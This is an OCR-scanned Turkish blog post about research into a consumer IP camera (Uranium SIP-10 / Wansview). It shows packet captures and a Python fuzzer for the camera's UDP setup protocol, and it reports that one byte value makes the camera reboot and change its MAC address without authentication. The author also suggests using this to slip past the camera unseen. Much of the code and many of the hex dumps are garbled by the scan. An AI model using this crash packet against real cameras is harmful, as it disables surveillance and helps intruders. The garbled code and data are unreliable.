MacGyver Olsaydi..

written by Mert SARICA | 1 March 2013

80’'lerde benim gibi cocuk olanlarin kahramani c¢ogunlukla ya Michael Knight ya
da MacGyver‘dir. MacGyver, Kanada’'da cekilmis aksiyon-macera tilirinde bir
Amerikan televizyon dizisiydi. Ajanimiz Macgyver, silah kullanmayi sevmeyen,
hemen hemen her bolimde fizik bilgisini kullanarak cevresinde buldugu arag
gereclerden silah yaparak dusmanlarinin elinden kolaylikla
kurtulabilmekteydi. Hatta bir bolimde MacGyver, etrafi gb6zetleyen bir
kameranin hemen altinda, kor noktada durup kameranin izledigi yolun
fotografini cekmis, ardindan bu resmi kameranin o6nline koymus ve kameranin
cekilen bu fotografi goérinti olarak glvenlik gdérevlilerine aktarmasini
saglayarak yakalanmadan kosar adimlarla oradan uzaklasabilmistir. Peki ya
MacGyver gunumizde olsaydi ve gecmesi gereken bir kapinin hemen arkasinda
kapiyi ceken ve kablosuz haberlesen bir IP kamera olsaydi ne yapardi ?

Gectigimiz aylarda satin aldigim Arduino Uno R3 cihazini gdzetleme kamerasina
cevirme girisimimin astari ylziinden pahaliya (kablosuz ag kalkani, kamera
vs.) gelecegini disunerek IP kamera arayisi ic¢ine girdim ve c¢ok gegmeden
Turkiye’'de Uranium markasi altinda satilan (Dinya’da WANSVIEW NCB-541W)
SIP-10 modelini satin aldim. Cihazin kablosuz ag desteklemesi, gece gdorusinin
olmasi, hareket algilama ve e-posta gonderme 6zelliginin olmasi, fiyati ve
tabii ki uzaktan yonetilmeye imkan taniyan Android uygulamasi ile birlikte
gelmesi satin alma karari almamda etkili oldu.

Her zamanki gibi aldigim bir cihazi hacklemeye calismak, efendi efendi
kullanmaktan cok daha cazip geldigi icin gelenedi bozmayarak kamerayi
kurmadan once kurulum CD’'si ile birlikte gelen uygulamalara goz atmaya ve

MacGyver olsaydi ne yapardi? sorusuna yanit aramaya karar verdim.

Agda bulunan kamerayi tespit etmek ve yeni ip adresi tanimlamak igin
kullanilan BSearch en.exe dosyasini Immunity Debugger araci ile biraz
inceledikten sonra kamerayi kurup calistirdim ve ag seviyesinde uygulamanin

nasil calistigini kisaca inceledim.

IP kamera varsayilan olarak 192.168.0.178 ip adresi ile birlikte gelmekte ve
BSearch uygulamasi tarafindan BROADCAST adrese gonderilen UDP paketlerine
(SEARCH ve UPDATE) yanit vererek kullanicinin kamerayi tespit etmesine
(SEARCH) ve ayarlari degistirmesine (UPDATE) imkan tanimaktadair.


https://www.mertsarica.com/macgyver-olsaydi/
https://tr.wikipedia.org/wiki/Kara_%C5%9Eim%C5%9Fek
https://tr.wikipedia.org/wiki/MacGyver
http://www.wansview.com/index.php/wireless-camera/660-nch-541w
http://www.uranium.com.tr/sip10b.html
https://play.google.com/store/apps/details?id=com.zy.etest&feature=search_result#?t=W251bGwsMSwyLDEsImNvbS56eS5ldGVzdCJd

Frame 26 (62 bytes on wire, 69 bytes captured)
Ethernet II, sSrc: wmware_75:0d:593 (00:0C:29:75:0d:583), Ds
Internet Protocol, Src: 182.168.1.40 (192.168.1.40), Dst:
User Datagram Protocol, Src Port: 62010 (620107, DSt Port
pata (27 hytes)

pata:

[Length: 27]

=]
=]

SEARCH - GIDEN PAKET

t: Broadcast (Ff:Ff:ff:ff:FF:FF)
255.255.255.255 (255.255.255.255)
: nomp (1000070

0oon ff £ £f ©f £f £f 00 0Cc 29 75 0d 83 08 00 45 00
0010 00 37 ad 20 00 00 80 11 ch c5 <0 a8 01 i
iz 00 23

Frame 27 (130 bytes on wire, 130 hytes captured)

Ethernet II, src: 48:02:7a:de:fe:37 (48:02:2a:4e:fe:37),
Internet Protocol, src: 192,.163.1.74 (192.168.1.740, Dst:
User Datagram Protocol, Src Port: ndmp (100003, Dst Port:

=

[ R

SEARCH - GELEN PAKET

pst: Broadcast (ff:ff:ff:Ff:FF:FF
250 e O e D e D U B L B P50
62010 (62010)

FF FF Tf f ff 7F 48 02
00 74 00 00 40 00 40 11
£ FF 27 10 2 3a 00 60

4e fe 37 08 00 45 00
87 c0O a8 01 4a ff ff
2 T 5T 1

Local PC information:

AMD PCHET Family PCI Eth s ‘

1321681 40

285.255255.0

1921661 1
51 [1921884.1
Device list:
Devicelame DeviD

Mo

002rnhl

| &

Search(F3) |[ BrowseiFa)

& BSeries Intranet Search add SetTings(V12.0.2.29)

Device information

Device name:

IP canfig.: [C]set IP autamatically
IP address(lx 192 168 1 74
Subnet mask(lly | 255 255 0
Geteway(G) 192 . 168 . 1 7
DNS1(D) [ 1_92_15'%_1'_1_|
i T |
Authentication,

—
—

Wiewing Account:

Wigwing Passworch

@ Tips:

1. Make sure that your IP Camera and computer
are cannected o the same router.

2. Only Administrator account can updste the device
infarmation

Close

Tabii ayarlari degistirebilmek icin (UPDATE) oncelikle kullanicinin ip

kamerasinin yonetim kullanici adi ve sifresini dogru girmesi gerekmektedir

aksi halde tanimlarda herhangi bir degisiklik yapamamaktadir.

Frame 82 (125 bytes on wire, 129 hytes captured)
Ethernet II, Src: wmware 75:0d:93 (00:0C:29:75:0d:93), DS
Internet Protocol, Src: 152.168.1.40 (192.168.1.40), Dst:

B ®E

2]

& User Datagram Protocol, Src Port: 62010 (820107, Dst Port
= Data (87 bytes)
AD4FS

Data:

[Length: 87]

UPDATE - GIDEN PAKET

£ BSeries Intranet Search add SetTings(V12.0.2.29)

T: Broadcast (Ff:ff:ff:ff:fF:ff)
255.255.255.255 (255.255.255.255)
: ndmp (100007

F
73
Ixi

FEFF FF f 00 0c
af 0e 00 00 B0 11
27 10 0

29 75 od &3
c9 oh <0 aB
d At 5

Frame 83 (67 bytes on wire, 67 byres caprured)

Ethernet II, Src: 48:02:2a:4e:Te:37 (48:02:2a:4e:fe:37),

Internet Protocol, Src: 192.163.1.74 (192.168.1.740, Dst:

User Datagram Protocol, Src Port: ndmp (100007, Dst Port:

Data (25 hytes
Data:

[Length: 25]
UPDATE - GELEN PAKET

OEE®B

pst: Broadcast (FF:iff:iffiff:ff:ff)
PR o P e Rl (e e P s s PR )
62010 (62010)

000 ff ff ff ff ff ff 48 02 23 de fe 2
00 35 00 00 40 00 40 11 78 c6 a

7 08 00 45 00
8 01
f ff 27 10 f2 33 00 21 74 dl o

Lacal PC information:

I | AMD PCHET Family PCI Eth % ‘

a2 1651 40

2552552550

3 18216511
18216511
Device list:
Ma DeviceMame | DeviD
1 o02rnhl TEASDDOBDOAA
£ | &

Search(F3) || Browse(F4)

Device information:

Device name:

IF conig []=et IP automatically

P adcdres s 192 168 . 1 74
Subnetmaskclly | 255 . 255 . 285 . 0
Gateway(G) 192 . 188 . 1 1
DNS1 (D) [1e2 . 1eﬁ_%_|
moponey e <]

Authentication;

Wiewing Account W]
Viewing Password -

& e

1. Make sure that ywour P Camera and computer
are connected to the same router

2. Only Administrator account can update the device
information

Close

Kameraya giden ve gelen veriyi dikkatlice inceledigim de MO I parametresi

dikkatimi c¢ekti. MO I parametresinden sonra gelen bayt’in SEARCH paketinde
00, UPDATE paketinde ise 02 oldugunu farkettim.

Cihaz lreticileri cogunlukla hata ayiklamak (debug) ve/veya gelistirme

amaciyla cihazlara arka kapi birakmayi sevdiklerinden o6turi bu bayt ldzerinde

Fuzzing yapmaya karar verdim ve bunun ig¢in Python ile sip-10 fuzzer.py adinda

bir program hazirladim. Programi calistirdiktan sonra Fuzz edilen baytin 78

oldugu durumda, cihazin yeniden basladigini farkettim. Ardindan cihaza SEARCH

paketi gonderdigim de cihazin MAC adresinin degismis oldugunu farkettim.


http://www.mertsarica.com/codes/sip-10_fuzzer.py

# Uranium SIP-10 Fuzzer
# Product URL: http://vwew.uranium, com.tr/sipilb.html
# Author: Nert SARICA
# E-mail: mert [ . ] sarica [ @ ] gmail [ . ] com
# URL: hrep://wnv.mertsarica.com
t =socket
time
o5
t sys

os.system("els")

print u"Uranium SIF-10 Fuzzer [http://wow.mertsarica.com]”
princ

8
ed or restarted* (Byte: 78>

IPADDR = '255.255.255.255' # Broadcast address [C:\Documents and Settings\Adninistrator\Desktop>
FORTNUM = 10000 # SIP-10 UDF Port

# UDP

= = socket.socket (socket.AF_INET, sockst.30CK_DGRAM, 0)
=.setsockopt (socket.30L_SOCKET, sockst.30 REUSEADDR, 1)
s.bind(('', 62010)}) # Source port

s.connect { (IPADDR, PORTHUH) |

i= 0
Lrediznge
£ o= "s02x" % i
print "Fuzzing Byve: %02x" % i
# Packer: 4d4£5£49 oz 00000000000000000000400000000000000000000001373841354444303644304141006d65727473617269636100000031323334353600000000000000c0a8014affffff0000a80101c0a80101fdes!
PACKETDATA =  ('4d4£5£49' + t + '0000000000000000000040000000000000000000000137384135444430364430414100606572747361726363610000003 1323334353 60000000000000020a5014a1 FELF£00c0a80101c0a50101Fde8!

5.9end (PACKETDATA)
time.sleep (10):

m = socket.socket (]
host = '1592.165.1.74' # SIP-10 IP Address
port = 65000 # SIP-10 TCP Destination Port

m.connect { (host, port))

print "SIP-10 is crashed or restarted! (Byte: $3)" % T
sys.exit(1)

4 BSeries Intranet Search add SetTings(¥12.0.2.29)

Local PC information: Device information:

| AMD PCHET Faimily PCI Eth % Device name.

| 192 1681 .40

2352952550

192 168.1.1 P config.:

IP address([);
1921681 1
Subnet maskiL:

Gateway(E)

Device list: DS (D

Mo, DeviceMame | DewviD Http portfE: a0

1 azrnhl F100000031352

Avuthentication:
Wiewwing Account:

Wiewwing Password:

Tips:

1. Make sure that your IP Camera and computer
are connected to the same router.

2. 0nly Administrator account can update the device
& 3 infarmation.

Close

Sonu¢ olarak yaptigim kisa arastirma sonucunda SIP-10 IP kamerasinda



kesfettigim bu glvenlik zafiyeti ile cihazi yetkisi olmayan ve agda bulunan
herhangi bir kisinin uzaktan yeniden baslatabildigini ve MAC adresini
degistirebildigini tespit etmis oldum. Gelelim MacGyver olsaydi ne yapardi
sorusunun yanitina. Muhtemelen kahramanimiz kablosuz aga dahil olur ve
gonderecegi tek bir paket ile kamerayi gecici slireligine devre disi birakarak

kameraya yakalanmadan yoluna emin adimlarla devam ederdi :)

MacGyver’'in yerinde herhangi bir hirsizin olmamasi dilegiyle herkese givenli

ginler dilerim.



